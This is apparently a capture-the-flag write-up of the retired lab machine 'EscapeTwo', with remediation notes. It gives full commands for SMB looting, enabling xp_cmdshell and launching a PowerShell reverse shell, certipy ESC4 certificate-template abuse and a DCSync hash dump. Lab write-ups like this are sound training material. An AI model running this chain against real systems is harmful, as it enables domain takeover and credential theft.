EscapeTwo
Summary
Starting with a valid low-privilege domain account (rose), I enumerated a readable SMB share called 'Accounting Department' and extracted a plaintext SQL Server SA password stored inside a spreadsheet. Using those credentials I authenticated to the exposed SQL Server, enabled the built-in command-execution stored procedure xp_cmdshell, and ran OS commands as the SQL service account (sql_svc).
A plaintext password embedded in a leftover SQL Server installation configuration file on disk then gave access to a second domain account (ryan.cooper) with WinRM access and the user flag. That account held write-owner rights over an Active Directory Certificate Services (ADCS) certificate template; by abusing those rights to modify the template and enroll a certificate impersonating the domain Administrator, I obtained a Kerberos ticket authenticating as Administrator — then performed a DCSync to dump every domain password hash, achieving complete control of the sequel.htb domain.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
echo "$TARGET sequel.htb dc01.sequel.htb" | sudo tee -a /etc/hostsnmap -sV -sC -p 53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389 -oN dc01_scan.txt $TARGETnetexec smb $TARGETExact commands 2
netexec smb $TARGET -u rose -p "$PASSWORD" -d sequel.htb --sharessmbclient "//$TARGET/Accounting Department" -U "sequel.htb\rose%$PASSWORD" -c 'prompt OFF; mget *'FixRemove credentials and sensitive data from SMB file sharesCritical
Exact commands 2
python3 -c "import openpyxl; wb=openpyxl.load_workbook('accounts.xlsx'); [print(r) for s in wb.sheetnames for r in wb[s].iter_rows(values_only=True)]"python3 -c "import openpyxl; wb=openpyxl.load_workbook('accounting_2024.xlsx'); [print(r) for s in wb.sheetnames for r in wb[s].iter_rows(values_only=True)]"FixRotate the SA password and disable the SA accountCritical
Exact commands 4
netexec mssql $TARGET -u sa -p '$PASSWORD2' --local-auth -x 'whoami'impacket-mssqlclient "sa:$PASSWORD2@$TARGET"EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;EXEC xp_cmdshell 'powershell -e <base64_encoded_reverse_shell>';FixDisable xp_cmdshell and run SQL Server under a least-privilege service accountHigh
Exact commands 3
EXEC xp_cmdshell 'type C:\SQL2019\ExpressAdv_ENU\sql-Configuration.INI';evil-winrm -i $TARGET -u ryan.cooper -p '<ryan_password>'type C:\Users\ryan.cooper\Desktop\user.txtFixDelete SQL Server installation response files that contain plaintext passwordsHigh
Exact commands 1
certipy find -u ryan.cooper@sequel.htb -p '<ryan_password>' -dc-ip $TARGET -vulnerable -stdoutFixRemove write permissions on ADCS certificate templates from unprivileged accounts (ESC4)Critical
Exact commands 2
certipy template -u ryan.cooper@sequel.htb -p '<ryan_password>' -dc-ip $TARGET -template '<VulnTemplateName>' -save-oldcertipy req -u ryan.cooper@sequel.htb -p '<ryan_password>' -dc-ip $TARGET -ca sequel-DC01-CA -template '<VulnTemplateName>' -upn Administrator@sequel.htb -out administratorExact commands 4
certipy auth -pfx administrator.pfx -domain sequel.htb -username Administrator -dc-ip $TARGETimpacket-secretsdump -hashes ':<admin_ntlm_hash>' sequel.htb/Administrator@$TARGETevil-winrm -i $TARGET -u Administrator -H '<admin_ntlm_hash>'type C:\Users\Administrator\Desktop\root.txtAttack patterns used
The transferable techniques behind this compromise.
AD CS Abuse (ESC1–ESC8)Active Directory · CertificatesT1649
What it is
Active Directory Certificate Services can be abused when certificate templates or the CA are misconfigured. The ESC family (ESC1: enrollee-supplied SAN; ESC8: NTLM relay to the web-enrollment endpoint; etc.) lets an unauthorised user obtain a certificate that authenticates as a higher-privileged user, then use it for Kerberos PKINIT to get that user's TGT.
Why it works
Certificates are long-lived authentication material; a single permissive template (ENROLLEE_SUPPLIES_SUBJECT + client-auth EKU + low enroll rights) is enough to mint an admin identity. Tools certipy/Certify find and exploit these. Remediate per the SpecterOps 'Certified Pre-Owned' guidance.
Read more
DCSyncActive Directory · Credential AccessT1003.006
What it is
DCSync abuses the Directory Replication Service (DRSUAPI) protocol that Domain Controllers use to replicate data. A principal holding the Replicating Directory Changes rights can ask a DC to replicate password hashes for any account — including krbtgt — without touching LSASS, e.g. secretsdump.py -just-dc. Recovering krbtgt enables Golden Tickets.
Why it works
Replication rights are meant only for DCs and a few admin roles; over-delegation (or compromise of a privileged account) lets an unauthorised user impersonate a DC. Remediate by auditing who holds replication rights and monitoring DRSUAPI requests from non-DC hosts.
Read more
Exposed services
| 53/tcp | domain Simple DNS Plus |
| 88/tcp | kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-06 08:28:03Z) |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 389/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name) |
| 445/tcp | microsoft-ds? |
| 464/tcp | kpasswd5? |
| 593/tcp | ncacn_http Microsoft Windows RPC over HTTP 1.0 |
| 636/tcp | ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name) |
| 1433/tcp | ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM |
| 3268/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name) |
| 3269/tcp | ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name) |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 9389/tcp | mc-nmf .NET Message Framing |
| 47001/tcp | unknown recon-sweep-discovered |
| 49664/tcp | unknown recon-sweep-discovered |
| 49665/tcp | unknown recon-sweep-discovered |
| 49666/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 49687/tcp | unknown recon-sweep-discovered |
| 49688/tcp | unknown recon-sweep-discovered |
| 49695/tcp | unknown recon-sweep-discovered |
| 49704/tcp | unknown recon-sweep-discovered |
| 49726/tcp | unknown recon-sweep-discovered |
| 49731/tcp | unknown recon-sweep-discovered |